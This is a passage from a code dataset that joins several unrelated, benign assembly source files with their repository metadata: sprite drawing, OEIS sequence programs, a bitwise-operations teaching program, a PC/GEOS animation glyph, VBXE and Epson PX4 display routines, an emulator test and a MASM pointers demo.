,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 ldd #256 * 3 addr d,y * 4 addr d,u * 4 leax 32,x * 5 lda_RowCounter@ lda #0 * SMC: row counter is stored here suba #4 sta lda_RowCounter@+1 bita #$FC bne Draw4Loop@ tst lda_RowCounter@+1 beq Draw4PlusExit@ ldq ,x * 8 row 0 (60) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 dec lda_RowCounter@+1 * 6 beq Draw4PlusExit@ * 3 * ldd #256 * 3 row 1 (72) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 dec lda_RowCounter@+1 beq Draw4PlusExit@ * ldd #256 * 3 row 2 (72) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 dec lda_RowCounter@+1 beq Draw4PlusExit@ * ldd #256 * 3 row 3 (63) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq ,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 * Draw4PlusExit@ rts Draw16Rows * 1003 (62.7/row) leau $3fff,y * 7 * ldq ,x * 8 row 0 (51) stq ,y * 8 stq ,u * 8 ldq 4,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 1 (63) addr d,y * 4 addr d,u * 4 ldq 8,x * 9 stq ,y * 8 stq ,u * 8 ldq 12,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 2 (63) addr d,y * 4 addr d,u * 4 ldq 16,x * 9 stq ,y * 8 stq ,u * 8 ldq 20,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 3 (63) addr d,y * 4 addr d,u * 4 ldq 24,x * 9 stq ,y * 8 stq ,u * 8 ldq 28,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 4 (63) addr d,y * 4 addr d,u * 4 ldq 32,x * 9 stq ,y * 8 stq ,u * 8 ldq 36,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 5 (63) addr d,y * 4 addr d,u * 4 ldq 40,x * 9 stq ,y * 8 stq ,u * 8 ldq 44,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 6 (63) addr d,y * 4 addr d,u * 4 ldq 48,x * 9 stq ,y * 8 stq ,u * 8 ldq 52,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 7 (63) addr d,y * 4 addr d,u * 4 ldq 56,x * 9 stq ,y * 8 stq ,u * 8 ldq 60,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 8 (63) addr d,y * 4 addr d,u * 4 ldq 64,x * 9 stq ,y * 8 stq ,u * 8 ldq 68,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 9 (63) addr d,y * 4 addr d,u * 4 ldq 72,x * 9 stq ,y * 8 stq ,u * 8 ldq 76,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 10 (63) addr d,y * 4 addr d,u * 4 ldq 80,x * 9 stq ,y * 8 stq ,u * 8 ldq 84,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 11 (63) addr d,y * 4 addr d,u * 4 ldq 88,x * 9 stq ,y * 8 stq ,u * 8 ldq 92,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 12 (63) addr d,y * 4 addr d,u * 4 ldq 96,x * 9 stq ,y * 8 stq ,u * 8 ldq 100,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 13 (63) addr d,y * 4 addr d,u * 4 ldq 104,x * 9 stq ,y * 8 stq ,u * 8 ldq 108,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 14 (63) addr d,y * 4 addr d,u * 4 ldq 112,x * 9 stq ,y * 8 stq ,u * 8 ldq 116,x * 9 stq 4,y * 9 stq 4,u * 9 * ldd #256 * 3 row 15 (63) addr d,y * 4 addr d,u * 4 ldq 120,x * 9 stq ,y * 8 stq ,u * 8 ldq 124,x * 9 stq 4,y * 9 stq 4,u * 9 rts

46.96087

81

0.174613

18721deca0110164cf70ef68b0a86f19f34d8c93

312

asm

Assembly

programs/oeis/080/A080526.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/080/A080526.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/080/A080526.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

; A080526: Final entry in n-th row of triangle in A080524. ; 1,3,10,67,627,7781,117652,2097159,43046725,1000000009,25937424606,743008370699,23298085122487,793714773254157,29192926025390632,1152921504606846991,48661191875666868489,2185911559738696531985 mov $1,$0 add $0,1 pow $0,$1 dif $1,2 add $1,$0 mov $0,$1

31.2

193

0.794872

76548fab91251977e99e4ee5b5ad74557bd1197a

3,195

asm

Assembly

ps3.asm

michecode/CS237

c9b7dc817e4080ee6c9aaa5d6775e98c1ed8b6ba

[ "Unlicense" ]

null

ps3.asm

michecode/CS237

c9b7dc817e4080ee6c9aaa5d6775e98c1ed8b6ba

[ "Unlicense" ]

null

ps3.asm

michecode/CS237

c9b7dc817e4080ee6c9aaa5d6775e98c1ed8b6ba

[ "Unlicense" ]

null

include Irvine32.inc .data caseTable byte '1' ; lookup value dword AND_op ; address of procedure entrySize = ($ - caseTable) byte '2' dword OR_op byte '3' dword NOT_op byte '4' dword XOR_op entries = ($ - caseTable) / entrySize prompt byte "1. x AND y",0Dh,0Ah byte "2. x OR y",0Dh,0Ah byte "3. NOT x",0Dh,0Ah byte "4. x XOR y",0Dh,0Ah byte "5. Exit",0Dh,0Ah,0Dh,0Ah byte "Your Choice: ",0 msgAND byte "AND_op",0Dh,0Ah,0 msgOR byte "OR_op",0Dh,0Ah,0 msgNOT byte "NOT_op",0Dh,0Ah,0 msgXOR byte "XOR_op",0Dh,0Ah,0 xAsk byte 0Dh,0Ah,"enter the value of x in hexadecimal: ",0 yAsk byte 0Dh,0Ah,"enter the value of y in hexadecimal: ",0 .data? x dword ? y dword ? .code main PROC mov edx,OFFSET prompt ; ask user for input call WriteString call ReadChar ; read character into AL mov ebx,OFFSET caseTable ; point EBX to the table mov ecx,entries ; loop counter travelTable: cmp al,[ebx] ; match found? jne continue ; no: continue call NEAR PTR [ebx + 1] ; yes: call the procedure call Crlf jmp done ; exit the search continue: add ebx,entrySize ; point to the next entry loop travelTable done: exit main ENDP ; BEING AND .data andAnswer byte " AND ",0 equals byte " = ",0 .code AND_op PROC mov edx,OFFSET msgAND call GetX call GetY call Crlf mov eax,x call WriteHex ; print x mov edx,OFFSET andAnswer call WriteString ; print " AND " mov eax,y call WriteHex ; print y mov edx,OFFSET equals call WriteString ; print " = " mov eax,x and eax,y call WriteHex ; print answer call Crlf ret AND_op ENDP ; END AND ; BEGIN OR .data orAnswer byte " OR ",0 .code OR_op PROC mov edx,OFFSET msgOR call GetX call GetY call Crlf mov eax,x call WriteHex ; print x mov edx,OFFSET orAnswer call WriteString ; print " OR " mov eax,y call WriteHex ; print y mov edx,OFFSET equals call WriteString ; print " = " mov eax,x or eax,y call WriteHex ; print answer call Crlf ret OR_op ENDP ; END OR ; BEGIN NOT .data notAnswer byte "NOT ",0 .code NOT_op PROC mov edx,OFFSET msgNOT call GetX call Crlf mov edx,OFFSET notAnswer call WriteString ; print "NOT " mov eax,x call WriteHex ; print x mov edx,OFFSET equals call WriteString ; print " = " mov eax,x not eax call WriteHex ; print answer call Crlf ret NOT_op ENDP ; END NOT ; BEGIN XOR .data xorAnswer byte " XOR ",0 .code XOR_op PROC mov edx,OFFSET msgXOR call GetX call GetY call Crlf mov eax,x call WriteHex ; print x mov edx,OFFSET xorAnswer call WriteString ; print " XOR " mov eax,y call WriteHex ; print y mov edx,OFFSET equals call WriteString ; print " = " mov eax,x xor eax,y call WriteHex ; print Answer call Crlf ret XOR_op ENDP GetX PROC call WriteString ; print message mov edx,OFFSET xAsk call WriteString ; get x call ReadHex mov x,eax ret GetX ENDP GetY PROC mov edx,OFFSET yAsk call WriteString ; get y call ReadHex mov y,eax ret GetY ENDP END main

18.050847

60

0.646635

90f5268acd4562bccc9d1319ad888b19d2b096da

10,907

asm

Assembly

Library/Mailbox/Outbox/outboxFeedbackGlyph.asm

steakknife/pcgeos

95edd7fad36df400aba9bab1d56e154fc126044a

[ "Apache-2.0" ]

504

2018-11-18T03:35:53.000Z

2022-03-29T01:02:51.000Z

Library/Mailbox/Outbox/outboxFeedbackGlyph.asm

steakknife/pcgeos

95edd7fad36df400aba9bab1d56e154fc126044a

[ "Apache-2.0" ]

96

2018-11-19T21:06:50.000Z

2022-03-06T10:26:48.000Z

Library/Mailbox/Outbox/outboxFeedbackGlyph.asm

steakknife/pcgeos

95edd7fad36df400aba9bab1d56e154fc126044a

[ "Apache-2.0" ]

73

2018-11-19T20:46:53.000Z

2022-03-29T00:59:26.000Z

COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1995 -- All Rights Reserved PROJECT: MODULE: FILE: outboxFeedbackGlyph.asm AUTHOR: Adam de Boor, Sep 5, 1995 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 9/ 5/95 Initial revision DESCRIPTION: Implementation of OutboxFeedbackGlyph $Id: outboxFeedbackGlyph.asm,v 1.1 97/04/05 01:21:49 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if _OUTBOX_FEEDBACK MailboxClassStructures segment OutboxFeedbackGlyphClass MailboxClassStructures ends OFG_FRAME_WIDTH equ 99 OFG_FRAME_HEIGHT equ 90 OFG_GLOBE_X equ 24 OFG_GLOBE_Y equ 33 OFG_FRAME_DELAY equ 10 OFGFrameDesc struct OFGFD_globe word OFGFD_letter word OFGFD_letterX word OFGFD_letterY word OFGFrameDesc ends OutboxUICode segment resource ofgFrames OFGFrameDesc \ <Globe10Bitmap, Letter1Bitmap, 21, 77>, <Globe9Bitmap, Letter1Bitmap, 2, 66>, <Globe8Bitmap, Letter2Bitmap, 0, 41>, <Globe7Bitmap, Letter2Bitmap, 15, 16>, <Globe6Bitmap, Letter2Bitmap, 43, 9>, <Globe5Bitmap, Letter2Bitmap, 69, 20>, <Globe4Bitmap, Letter1Bitmap, 85, 39>, <Globe3Bitmap, Letter1Bitmap, 80, 55>, <Globe2Bitmap, 0, 0, 0>, <Globe1Bitmap, 0, 0, 0> COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OFGVisRecalcSize %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return how big we want to be CALLED BY: MSG_VIS_RECALC_SIZE PASS: *ds:si = OutboxFeedbackGlyph object ds:di = OutboxFeedbackGlyphInstance cx = RecalcSizeArgs for width dx = RecalcSizeArgs for height RETURN: cx = width dx = height DESTROYED: ax, bp SIDE EFFECTS: none PSEUDO CODE/STRATEGY: we are inflexible REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OFGVisRecalcSize method dynamic OutboxFeedbackGlyphClass, MSG_VIS_RECALC_SIZE .enter mov cx, OFG_FRAME_WIDTH mov dx, OFG_FRAME_HEIGHT .leave ret OFGVisRecalcSize endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OFGStartTimer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Start up the timer for the next frame CALLED BY: (INTERNAL) OFGVisOpen, OFGNextFrame PASS: *ds:si = OutboxFeedbackGlyph RETURN: ds:di = OutboxFeedbackGlyphInstance OFGI_timer, OFGI_timerID set DESTROYED: ax, bx, cx, dx SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 6/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OFGStartTimer proc near class OutboxFeedbackGlyphClass .enter mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_ONE_SHOT mov cx, OFG_FRAME_DELAY mov dx, MSG_OFG_NEXT_FRAME call TimerStart DerefDI OutboxFeedbackGlyph mov ds:[di].OFGI_timer, bx mov ds:[di].OFGI_timerID, ax .leave ret OFGStartTimer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OFGVisOpen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: If animated, begin animation. CALLED BY: MSG_VIS_OPEN PASS: *ds:si = OutboxFeedbackGlyph object ds:di = OutboxFeedbackGlyphInstance bp = 0 if top window, else window for object to open on RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OFGVisOpen method dynamic OutboxFeedbackGlyphClass, MSG_VIS_OPEN uses bp, ax .enter call OFGStartTimer mov ds:[di].OFGI_curFrame, 0 .leave mov di, offset OutboxFeedbackGlyphClass GOTO ObjCallSuperNoLock OFGVisOpen endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OFGVisClose %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Shut off the animation timer, if it's on CALLED BY: MSG_VIS_CLOSE PASS: *ds:si = OutboxFeedbackGlyph object ds:di = OutboxFeedbackGlyphInstance RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OFGVisClose method dynamic OutboxFeedbackGlyphClass, MSG_VIS_CLOSE .enter push ax clr bx xchg bx, ds:[di].OFGI_timer mov ax, ds:[di].OFGI_timerID call TimerStop pop ax .leave mov di, offset OutboxFeedbackGlyphClass GOTO ObjCallSuperNoLock OFGVisClose endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OFGNextFrame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Advance to the next frame. CALLED BY: MSG_OFG_NEXT_FRAME PASS: *ds:si = OutboxFeedbackGlyph object ds:di = OutboxFeedbackGlyphInstance RETURN: nothing DESTROYED: nothing SIDE EFFECTS: ax, cx, dx, bp PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OFGNextFrame method dynamic OutboxFeedbackGlyphClass, MSG_OFG_NEXT_FRAME mov cx, ds:[di].OFGI_curFrame inc cx cmp cl, length ofgFrames jb drawIt clr cx drawIt: clr bp ; generate your own gstate clr dl ; no special draw flags mov ax, MSG_OFG_DRAW_FRAME call ObjCallInstanceNoLock ; ; Start the timer if we're still open (which we can determine by ; checking if VIS_CLOSE has set OFGI_timer to 0) ; DerefDI OutboxFeedbackGlyph tst ds:[di].OFGI_timer jz done call OFGStartTimer done: ret OFGNextFrame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OFGDrawFrame %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the indicated frame, recording it as our current CALLED BY: MSG_OFG_DRAW_FRAME PASS: *ds:si = OutboxFeedbackGlyph object ds:di = OutboxFeedbackGlyphInstance cl = frame # to draw dl = DrawFlags bp = gstate to use, or 0 if should create one RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OFGDrawFrame method dynamic OutboxFeedbackGlyphClass, MSG_OFG_DRAW_FRAME .enter push bp tst bp jnz haveState push cx, dx mov ax, MSG_VIS_VUP_CREATE_GSTATE call ObjCallInstanceNoLock pop cx, dx haveState: mov di, bp mov ax, C_WHITE call GrSetAreaColor push cx push dx mov ax, MSG_VIS_GET_BOUNDS call ObjCallInstanceNoLock pop bx ; bl <- DrawFlags test bl, mask DF_EXPOSED jz erasePrev ; ; When exposed, we wipe out the entire background. ; mov bx, bp call GrFillRect jmp drawNew erasePrev: ; ; Erase the letter in the previous frame; the globe we'll just ; draw over. ; ; ax = left ; bp = top ; di = gstate ; mov bx, ds:[si] add bx, ds:[bx].OutboxFeedbackGlyph_offset mov bx, ds:[bx].OFGI_curFrame CheckHack <type ofgFrames eq 8> shl bx shl bx shl bx ; ; Find the letter chunk and see if the letter was actually drawn. ; push ds, si, ax, bp mov si, cs:[ofgFrames][bx].OFGFD_letter tst si jz erasePrevDone ; => nothing to erase ; ; It was. Adjust the left & top to be the left & top of the letter. ; add ax, cs:[ofgFrames][bx].OFGFD_letterX add bp, cs:[ofgFrames][bx].OFGFD_letterY ; ; Find the right and bottom of the letter by adding in the width and ; height of the bitmap ; push ax mov bx, handle OutboxFeedbackData call MemLock mov ds, ax pop ax mov bx, bp mov si, ds:[si] mov cx, ax add cx, ds:[si].B_width mov dx, bx add dx, ds:[si].B_height call GrFillRect ; ; Release the bitmap block and recover various things. ; mov bx, ds:[LMBH_handle] call MemUnlock erasePrevDone: pop ds, si, ax, bx ; *ds:si <- object ; ax <- left, bx <- top drawNew: ; ; Record current frame and index into the frames array ; ; ax = left of frame ; bx = top of frame ; pop bp ; bp <- frame # mov si, ds:[si] add si, ds:[si].OutboxFeedbackGlyph_offset mov ds:[si].OFGI_curFrame, bp CheckHack <type ofgFrames eq 8> shl bp shl bp shl bp ; ; Lock down the block with the bitmaps in it. ; push bx, ax mov bx, handle OutboxFeedbackData call MemLock mov ds, ax pop bx, ax ; ; Draw the globe at the right place in the frame. ; mov si, cs:[ofgFrames][bp].OFGFD_globe mov si, ds:[si] push ax, bx add ax, OFG_GLOBE_X add bx, OFG_GLOBE_Y clr dx ; dx <- no callback call GrDrawBitmap pop ax, bx ; ; Draw the letter at the right place in the frame. ; mov si, cs:[ofgFrames][bp].OFGFD_letter tst si jz done mov si, ds:[si] add ax, cs:[ofgFrames][bp].OFGFD_letterX add bx, cs:[ofgFrames][bp].OFGFD_letterY call GrDrawBitmap done: ; ; Destroy the gstate if we created it. ; pop bp tst bp jnz exit call GrDestroyState exit: mov bx, handle OutboxFeedbackData call MemUnlock .leave ret OFGDrawFrame endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OFGVisDraw %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Draw the current frame again CALLED BY: MSG_VIS_DRAW PASS: *ds:si = OutboxFeedbackGlyph object ds:di = OutboxFeedbackGlyphInstance cl = DrawFlags bp = gstate to use RETURN: nothing DESTROYED: ax, cx, dx, bp SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 9/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OFGVisDraw method dynamic OutboxFeedbackGlyphClass, MSG_VIS_DRAW .enter mov dl, cl ; dl <- DrawFlags mov cx, ds:[di].OFGI_curFrame mov ax, MSG_OFG_DRAW_FRAME call ObjCallInstanceNoLock .leave ret OFGVisDraw endm OutboxUICode ends endif ; _OUTBOX_FEEDBACK

22.913866

79

0.568167

a6838b0ea38fda66a537bba30413e83e9014eb76

1,104

asm

Assembly

base/atari/vbxexdl.asm

zbyti/Mad-Pascal

546cae9724828f93047080109488be7d0d07d47e

[ "MIT" ]

1

2021-12-15T23:47:19.000Z

base/atari/vbxexdl.asm

michalkolodziejski/Mad-Pascal

0a7a1e2f379e50b0a23878b0d881ff3407269ed6

[ "MIT" ]

null

base/atari/vbxexdl.asm

michalkolodziejski/Mad-Pascal

0a7a1e2f379e50b0a23878b0d881ff3407269ed6

[ "MIT" ]

null

; VBXE Set XDL .proc @setxdl(.byte a) .reg asl @ sta idx fxs FX_MEMS #$80+MAIN.SYSTEM.VBXE_XDLADR/$1000 ldy #0 idx equ *-1 lda MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc and msk,y ora val,y sta MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc lda MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc+1 and msk+1,y ora val+1,y sta MAIN.SYSTEM.VBXE_WINDOW+s@xdl.xdlc+1 fxs FX_MEMS #0 rts msk .array [7] .word [e@xdl.mapon] = [XDLC_MAPON|XDLC_MAPOFF]^$FFFF [e@xdl.mapoff] = [XDLC_MAPON|XDLC_MAPOFF]^$FFFF [e@xdl.ovron] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF [e@xdl.ovroff] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF [e@xdl.hr] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF [e@xdl.lr] = [XDLC_GMON|XDLC_OVOFF|XDLC_LR|XDLC_HR]^$FFFF [e@xdl.tmon] = [XDLC_GMON|XDLC_TMON|XDLC_MAPOFF]^$FFFF .enda val .array [7] .word [e@xdl.mapon] = XDLC_MAPON [e@xdl.mapoff] = XDLC_MAPOFF [e@xdl.ovron] = XDLC_GMON [e@xdl.ovroff] = XDLC_OVOFF [e@xdl.hr] = XDLC_GMON|XDLC_HR [e@xdl.lr] = XDLC_GMON|XDLC_LR [e@xdl.tmon] = XDLC_TMON .enda .endp

23

63

0.656703

c6d38bacff1ff5279215f42260b9d0add45aff54

432

asm

Assembly

libsrc/stdio/ansi/px4/f_ansi_dline.asm

grancier/z180

e83f35e36c9b4d1457e40585019430e901c86ed9

[ "ClArtistic" ]

null

libsrc/stdio/ansi/px4/f_ansi_dline.asm

grancier/z180

e83f35e36c9b4d1457e40585019430e901c86ed9

[ "ClArtistic" ]

null

libsrc/stdio/ansi/px4/f_ansi_dline.asm

grancier/z180

e83f35e36c9b4d1457e40585019430e901c86ed9

[ "ClArtistic" ]

1

2019-12-03T23:57:48.000Z

; ; ANSI Video handling for the Epson PX4 ; By Stefano Bodrato - Nov 2014 ; ; Clean a text line ; ; in: A = text row number ; ; ; $Id: f_ansi_dline.asm,v 1.2 2016/06/12 16:06:43 dom Exp $ ; SECTION code_clib PUBLIC ansi_del_line EXTERN base_graphics .ansi_del_line ld de,32*8 ld b,a ld hl,$e000 and a jr z,zline .lloop add hl,de djnz lloop .zline ld d,h ld e,l inc de ld (hl),0 ld bc,32*8 ldir ret

11.675676

59

0.648148

e2f06a37777cfd287738b417d2c2f85d13ae9205

1,252

asm

Assembly

test/04_utc_wtc.asm

x86128/pymesm

4f5f2fe9ae06fd7023ef1022040774e157fd0792

[ "MIT" ]

2

2021-04-30T19:30:58.000Z

2021-04-30T21:29:44.000Z

test/04_utc_wtc.asm

x86128/pymesm

4f5f2fe9ae06fd7023ef1022040774e157fd0792

[ "MIT" ]

null

test/04_utc_wtc.asm

x86128/pymesm

4f5f2fe9ae06fd7023ef1022040774e157fd0792

[ "MIT" ]

null

# # Test for instructions UTC, WTC. # org 1 utc -1 vtm 0,3 vzm fail,3 utm 1,3 vim fail,3 lbl a utc -1 lbl b vtm 0,3 vzm fail,3 utm 1,3 vim fail,3 lbl c wtc mmask vtm 0,3 vzm fail,3 utm 1,3 lbl d vim fail,3 wtc mmask lbl e vtm 0,3 vzm fail,3 utm 1,3 vim fail,3 utc -7 utc 8 vtm -2,3 vzm fail,3 utm 1,3 vim fail,3 wtc mmask utc 8 vtm -6,3 utm -1,3 vim fail,3 vtm -1,3 # wtc chess+1,3 vtm 0,4 mtj 5,4 utm -0o125252,5 vim fail,5 utm 1,3 # wtc chess+1,3 vtm 0,4 mtj 5,4 utm -0o52525,5 vim fail,5 lbl pass stop 0o12345,6 lbl fail stop 0o76543,2 # *------------------------- dorg 0o2000 # данные с адреса 2000 arr mmask 0xFFFF arr chess [0o5252525252525252, 0o2525252525252525]

19.873016

52

0.361821

e02e277eac37d77895f1f6937173ff59b314b38d

708

asm

Assembly

oeis/001/A001609.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

11

2021-08-22T19:44:55.000Z

2022-03-20T16:47:57.000Z

oeis/001/A001609.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

9

2021-08-29T13:15:54.000Z

2022-03-09T19:52:31.000Z

oeis/001/A001609.asm

neoneye/loda-programs

84790877f8e6c2e821b183d2e334d612045d29c0

[ "Apache-2.0" ]

3

2021-08-22T20:56:47.000Z

2021-09-29T06:26:12.000Z

; A001609: a(1) = a(2) = 1, a(3) = 4; thereafter a(n) = a(n-1) + a(n-3). ; Submitted by Jon Maiga ; 1,1,4,5,6,10,15,21,31,46,67,98,144,211,309,453,664,973,1426,2090,3063,4489,6579,9642,14131,20710,30352,44483,65193,95545,140028,205221,300766,440794,646015,946781,1387575,2033590,2980371,4367946,6401536,9381907,13749853,20151389,29533296,43283149,63434538,92967834,136250983,199685521,292653355,428904338,628589859,921243214,1350147552,1978737411,2899980625,4250128177,6228865588,9128846213,13378974390,19607839978,28736686191,42115660581,61723500559,90460186750,132575847331,194299347890 sub $0,1 mov $3,2 lpb $0 sub $0,1 mov $4,1 add $4,$3 mov $3,$2 mov $2,$1 add $1,$4 lpe mov $0,$1 add $0,1

41.647059

490

0.748588

8488fd7520e1658b0c4399ae08806ebfe1adca95

705

asm

Assembly

reuse/Pointers.asm

William0Friend/my_masm

e8073266c03c01424ad84b9ed9cf13e9da1eabb1

[ "Apache-2.0" ]

null

reuse/Pointers.asm

William0Friend/my_masm

e8073266c03c01424ad84b9ed9cf13e9da1eabb1

[ "Apache-2.0" ]

null

reuse/Pointers.asm

William0Friend/my_masm

e8073266c03c01424ad84b9ed9cf13e9da1eabb1

[ "Apache-2.0" ]

null

; Pointers (Pointers.asm) ; Demonstration of pointers and TYPEDEF. .386 .model flat,stdcall .stack 4096 ExitProcess PROTO, dwExitCode:dword ; Create user-defined types. PBYTE TYPEDEF PTR BYTE ; pointer to bytes PWORD TYPEDEF PTR WORD ; pointer to words PDWORD TYPEDEF PTR DWORD ; pointer to doublewords .data arrayB BYTE 10h,20h,30h arrayW WORD 1,2,3 arrayD DWORD 4,5,6 ; Create some pointer variables. ptr1 PBYTE arrayB ptr2 PWORD arrayW ptr3 PDWORD arrayD .code main PROC ; Use the pointers to access data. mov esi,ptr1 mov al,[esi] ; 10h mov esi,ptr2 mov ax,[esi] ; 1 mov esi,ptr3 mov eax,[esi] ; 4 invoke ExitProcess,0 main ENDP END main

18.552632

51

0.699291

2176634ecdd52048c5cbcdb37113e32a078683b5

1,173

asm

Assembly

projects/07/MemoryAccess/PointerTest/PointerTest.asm

anArkitect/Nand2Tetris

061a2866705692269af00cf541b5fcedb1e1b93e

[ "MIT" ]

null

projects/07/MemoryAccess/PointerTest/PointerTest.asm

anArkitect/Nand2Tetris

061a2866705692269af00cf541b5fcedb1e1b93e

[ "MIT" ]

null

projects/07/MemoryAccess/PointerTest/PointerTest.asm

anArkitect/Nand2Tetris

061a2866705692269af00cf541b5fcedb1e1b93e

